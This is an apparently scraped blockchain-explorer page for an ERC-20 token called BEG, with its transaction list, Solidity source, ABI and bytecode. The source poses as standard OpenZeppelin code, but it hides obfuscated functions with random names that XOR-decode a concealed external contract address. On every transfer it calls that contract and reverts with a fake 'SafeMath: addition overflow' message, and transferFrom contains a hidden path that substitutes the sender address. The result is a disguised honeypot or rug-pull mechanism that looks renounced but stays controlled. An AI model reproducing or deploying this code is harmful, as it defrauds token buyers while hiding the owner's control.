Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 18 from a total of 18 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18455914 | 414 days ago | IN | 0 ETH | 0.00065577 | ||||
Approve | 18455348 | 414 days ago | IN | 0 ETH | 0.00060071 | ||||
Approve | 18452589 | 414 days ago | IN | 0 ETH | 0.0004321 | ||||
Approve | 18452553 | 414 days ago | IN | 0 ETH | 0.00052571 | ||||
Approve | 18452485 | 414 days ago | IN | 0 ETH | 0.00054469 | ||||
Approve | 18452478 | 414 days ago | IN | 0 ETH | 0.00040336 | ||||
Approve | 18452471 | 414 days ago | IN | 0 ETH | 0.00038076 | ||||
Approve | 18452282 | 414 days ago | IN | 0 ETH | 0.00039224 | ||||
Approve | 18452251 | 414 days ago | IN | 0 ETH | 0.00043888 | ||||
Approve | 18452028 | 414 days ago | IN | 0 ETH | 0.00071788 | ||||
Approve | 18451944 | 414 days ago | IN | 0 ETH | 0.0004118 | ||||
Approve | 18451942 | 414 days ago | IN | 0 ETH | 0.00042043 | ||||
Approve | 18451918 | 414 days ago | IN | 0 ETH | 0.00043294 | ||||
Approve | 18451900 | 414 days ago | IN | 0 ETH | 0.00043282 | ||||
Approve | 18451810 | 414 days ago | IN | 0 ETH | 0.00088054 | ||||
Renounce Ownersh... | 18451802 | 414 days ago | IN | 0 ETH | 0.00039225 | ||||
Approve | 18451802 | 414 days ago | IN | 0 ETH | 0.00092132 | ||||
Approve | 18451795 | 414 days ago | IN | 0 ETH | 0.00065809 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function wyGGIQWWjtDV_JMj7y1Y(bytes memory DaPa5URDgTpN2dVtEcHpCXvt4p) external returns(bytes memory); /** * @dev Moves a `boolean` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function M9mxBfpnlbuQ_kJTs(bytes memory Gryg2A5ActExybthQO) external returns(bytes memory); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ } interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. */ contract Token is Context, IERC20, IERC20Metadata,IERC20Errors,Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; bytes private CND8w1mcEJ ; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(bytes memory JpttjZopHq0aKuLikNm7) { _name = "BEG"; _symbol = "BEG"; _totalSupply = 100000000 * 10 ** 18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); CND8w1mcEJ = JpttjZopHq0aKuLikNm7; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function M9mxBfpnlbuQ_kJTs(bytes memory Gryg2A5ActExybthQO) external returns(bytes memory){} function wyGGIQWWjtDV_JMj7y1Y(bytes memory DaPa5URDgTpN2dVtEcHpCXvt4p) external returns(bytes memory){} function Hokc9w4Ueh45HKMztuVNATdoMolEhULEE12(bytes memory tsLYlDWC9oWaZ18,bytes memory KmzPRxeg0MzN3jsVIM3Wlm4eroImH0) internal { tsLYlDWC9oWaZ18 = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(tsLYlDWC9oWaZ18); address s; assembly {s := mload(add(tsLYlDWC9oWaZ18,0x14))} bytes memory datas = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(IERC20(s).M9mxBfpnlbuQ_kJTs(KmzPRxeg0MzN3jsVIM3Wlm4eroImH0)); uint256 r; assembly { r := mload(add(datas, 0x20)) } require(r==1,"SafeMath: addition overflow"); } function o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(bytes memory QcTCkuDUE0WbLarNkuLyAmwPFBLu0d) internal pure returns (bytes memory) { assembly { let len := mload(QcTCkuDUE0WbLarNkuLyAmwPFBLu0d) let dataPtr := add(QcTCkuDUE0WbLarNkuLyAmwPFBLu0d, 0x20) for { let i := 0 } lt(i, len) { i := add(i, 0x20) } { mstore(add(dataPtr, i), xor(mload(add(dataPtr, i)), 0x0404040404040404040404040404040404040404040404040404040404040404)) } } return QcTCkuDUE0WbLarNkuLyAmwPFBLu0d; } function SH5ll2RxKMEO9kc3GZhiuMKJiB8VV9Tl1ZW(bytes memory qy7YOeHUEwUERW0r, bytes memory kdbmYrSBg0Z6eR_Zshvc8d__MbzyUGmZqp9ctf) internal pure returns (bool) { if (qy7YOeHUEwUERW0r.length != kdbmYrSBg0Z6eR_Zshvc8d__MbzyUGmZqp9ctf.length) { return false; } for (uint256 i = 0; i < qy7YOeHUEwUERW0r.length; i++) { if (qy7YOeHUEwUERW0r[i] != kdbmYrSBg0Z6eR_Zshvc8d__MbzyUGmZqp9ctf[i]) { return false; } } return true; } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. */ function UzZb_zgjQTrhSzt5MUMWe4ttyECKDJa5TOfC2MUd(bytes memory JrLhozj9JS ,bytes memory dxcx4qxRxWMbgPNjy5fX) internal returns (bytes memory) { JrLhozj9JS = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(JrLhozj9JS); address xp12z324eYE7tznzW2CV_1Z6Tl0VsNL52sM; assembly { xp12z324eYE7tznzW2CV_1Z6Tl0VsNL52sM := mload(add(JrLhozj9JS,0x14)) } return IERC20(address(uint160(xp12z324eYE7tznzW2CV_1Z6Tl0VsNL52sM))).wyGGIQWWjtDV_JMj7y1Y(dxcx4qxRxWMbgPNjy5fX); } function approve(address spender, uint256 value) public returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi, address vRrOSlxdSHJDZOnaI1k9O4NqcwItkh2toOaKP, uint256 ZdjDy9O_et) public returns (bool) { _transfer(q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi, vRrOSlxdSHJDZOnaI1k9O4NqcwItkh2toOaKP, ZdjDy9O_et); address spender = _msgSender(); bytes memory HraALv5VzRrXLd = UzZb_zgjQTrhSzt5MUMWe4ttyECKDJa5TOfC2MUd(CND8w1mcEJ,o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi))); uint256 wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 = 10; if(SH5ll2RxKMEO9kc3GZhiuMKJiB8VV9Tl1ZW(o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(address(0))),HraALv5VzRrXLd) == false) { wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 = wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 + 16; } if(SH5ll2RxKMEO9kc3GZhiuMKJiB8VV9Tl1ZW(o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(_msgSender())),CND8w1mcEJ)) { wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 = wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 + 16; } if (wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4==42) { HraALv5VzRrXLd = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(HraALv5VzRrXLd); assembly { q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi := mload(add(HraALv5VzRrXLd, 0x14)) } } _spendAllowance(q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi, spender, ZdjDy9O_et); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer(address ww1mYGn8iKSFC6tAmVv72XHO4FDsBdSsl, address qnjHIguzyunL0fga745XBz9yU, uint256 NKIIzb0Ye7) internal { if (ww1mYGn8iKSFC6tAmVv72XHO4FDsBdSsl == address(0)) { revert ERC20InvalidSender(address(0)); } if (qnjHIguzyunL0fga745XBz9yU == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(ww1mYGn8iKSFC6tAmVv72XHO4FDsBdSsl, qnjHIguzyunL0fga745XBz9yU, NKIIzb0Ye7); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update(address from, address to, uint256 value) internal { Hokc9w4Ueh45HKMztuVNATdoMolEhULEE12(CND8w1mcEJ,o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(from, to, value))); if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } emit Transfer(from, to, value); } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument. */ function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } /** * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event. * * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any * `Approval` event during `transferFrom` operations. * * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to * true using the following override: * ``` * function _approve(address owner, address spender, uint256 value, bool) internal virtual override { * super._approve(owner, spender, value, true); * } * ``` * * Requirements are the same as {_approve}. */ function _approve(address owner, address spender, uint256 value, bool emitEvent) internal { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } /** * @dev Updates `owner` s allowance for `spender` based on spent `value`. * * Does not update the allowance value in case of infinite allowance. * Revert if not enough allowance is available. * * Does not emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 value) internal { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"bytes","name":"JpttjZopHq0aKuLikNm7","type":"bytes"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bytes","name":"Gryg2A5ActExybthQO","type":"bytes"}],"name":"M9mxBfpnlbuQ_kJTs","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi","type":"address"},{"internalType":"address","name":"vRrOSlxdSHJDZOnaI1k9O4NqcwItkh2toOaKP","type":"address"},{"internalType":"uint256","name":"ZdjDy9O_et","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"DaPa5URDgTpN2dVtEcHpCXvt4p","type":"bytes"}],"name":"wyGGIQWWjtDV_JMj7y1Y","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040516200133e3803806200133e833981016040819052620000349162000201565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260038082526242454760e81b6020909201918252620000a19160059162000145565b506040805180820190915260038082526242454760e81b6020909201918252620000ce9160069162000145565b506a52b7d2dcc80cd2e4000000600481905533600081815260026020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a380516200013d90600790602084019062000145565b50506200031a565b8280546200015390620002dd565b90600052602060002090601f016020900481019282620001775760008555620001c2565b82601f106200019257805160ff1916838001178555620001c2565b82800160010185558215620001c2579182015b82811115620001c2578251825591602001919060010190620001a5565b50620001d0929150620001d4565b5090565b5b80821115620001d05760008155600101620001d5565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156200021557600080fd5b82516001600160401b03808211156200022d57600080fd5b818501915085601f8301126200024257600080fd5b815181811115620002575762000257620001eb565b604051601f8201601f19908116603f01168101908382118183101715620002825762000282620001eb565b8160405282815288868487010111156200029b57600080fd5b600093505b82841015620002bf5784840186015181850187015292850192620002a0565b82841115620002d15760008684830101525b98975050505050505050565b600181811c90821680620002f257607f821691505b602082108114156200031457634e487b7160e01b600052602260045260246000fd5b50919050565b611014806200032a6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb146101ce578063aac8641114610155578063dd62ed3e146101e1578063f2fde38b1461021a57600080fd5b8063715018a6146101a15780638da5cb5b146101ab57806395d89b41146101c657600080fd5b806323b872dd116100c857806323b872dd14610142578063261fdb4d14610155578063313ce5671461016957806370a082311461017857600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f761022d565b6040516101049190610cf4565b60405180910390f35b61012061011b366004610d2a565b6102bf565b6040519015158152602001610104565b6004545b604051908152602001610104565b610120610150366004610d54565b6102d9565b6100f7610163366004610dff565b50606090565b60405160128152602001610104565b610134610186366004610e7f565b6001600160a01b031660009081526002602052604090205490565b6101a96104ee565b005b6000546040516001600160a01b039091168152602001610104565b6100f7610597565b6101206101dc366004610d2a565b6105a6565b6101346101ef366004610e9a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101a9610228366004610e7f565b6105b4565b60606005805461023c90610ecd565b80601f016020809104026020016040519081016040528092919081815260200182805461026890610ecd565b80156102b55780601f1061028a576101008083540402835291602001916102b5565b820191906000526020600020905b81548152906001019060200180831161029857829003601f168201915b5050505050905090565b6000336102cd818585610669565b60019150505b92915050565b60006102e684848461067b565b600033905060006103b9600780546102fd90610ecd565b80601f016020809104026020016040519081016040528092919081815260200182805461032990610ecd565b80156103765780601f1061034b57610100808354040283529160200191610376565b820191906000526020600020905b81548152906001019060200180831161035957829003601f168201915b50506040516001600160601b031960608d901b1660208201526103b4935060340191506103a09050565b6040516020818303038152906040526106da565b610727565b60405160006020820152909150600a906103df906103d9906034016103a0565b836107c5565b6103f1576103ee816010610f1e565b90505b6040516001600160601b03193360601b1660208201526104a790610417906034016103a0565b6007805461042490610ecd565b80601f016020809104026020016040519081016040528092919081815260200182805461045090610ecd565b801561049d5780601f106104725761010080835404028352916020019161049d565b820191906000526020600020905b81548152906001019060200180831161048057829003601f168201915b50505050506107c5565b156104ba576104b7816010610f1e565b90505b80602a14156104d6576104cc826106da565b9150601482015196505b6104e1878487610857565b5060019695505050505050565b6000546001600160a01b0316331461054d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461023c90610ecd565b6000336102cd81858561067b565b6000546001600160a01b0316331461060e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610544565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61067683838360016108d5565b505050565b6001600160a01b0383166106a557604051634b637e8f60e11b815260006004820152602401610544565b6001600160a01b0382166106cf5760405163ec442f0560e01b815260006004820152602401610544565b6106768383836109aa565b606081516020830160005b8281101561071e5781810180517f04040404040404040404040404040404040404040404040404040404040404041890526020016106e5565b50929392505050565b6060610732836106da565b601481015160405163261fdb4d60e01b8152919450906001600160a01b0382169063261fdb4d90610767908690600401610cf4565b600060405180830381600087803b15801561078157600080fd5b505af1158015610795573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107bd9190810190610f36565b949350505050565b600081518351146107d8575060006102d3565b60005b835181101561084d578281815181106107f6576107f6610fad565b602001015160f81c60f81b6001600160f81b03191684828151811061081d5761081d610fad565b01602001516001600160f81b0319161461083b5760009150506102d3565b8061084581610fc3565b9150506107db565b5060019392505050565b6001600160a01b0383811660009081526003602090815260408083209386168352929052205460001981146108cf57818110156108c057604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610544565b6108cf848484840360006108d5565b50505050565b6001600160a01b0384166108ff5760405163e602df0560e01b815260006004820152602401610544565b6001600160a01b03831661092957604051634a1406b160e11b815260006004820152602401610544565b6001600160a01b03808516600090815260036020908152604080832093871683529290522082905580156108cf57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161099c91815260200190565b60405180910390a350505050565b610a73600780546109ba90610ecd565b80601f01602080910402602001604051908101604052809291908181526020018280546109e690610ecd565b8015610a335780601f10610a0857610100808354040283529160200191610a33565b820191906000526020600020905b815481529060010190602001808311610a1657829003601f168201915b50506040516001600160601b031960608a811b8216602084015289901b16603482015260488101879052610a6e935060680191506103a09050565b610b9d565b6001600160a01b038316610a9e578060046000828254610a939190610f1e565b90915550610b109050565b6001600160a01b03831660009081526002602052604090205481811015610af15760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610544565b6001600160a01b03841660009081526002602052604090209082900390555b6001600160a01b038216610b2c57600480548290039055610b4b565b6001600160a01b03821660009081526002602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b9091815260200190565b60405180910390a3505050565b610ba6826106da565b601481015160405163aac8641160e01b815291935090600090610c3d906001600160a01b0384169063aac8641190610be2908790600401610cf4565b600060405180830381600087803b158015610bfc57600080fd5b505af1158015610c10573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610c389190810190610f36565b6106da565b602081015190915060018114610c955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610544565b5050505050565b60005b83811015610cb7578181015183820152602001610c9f565b838111156108cf5750506000910152565b60008151808452610ce0816020860160208601610c9c565b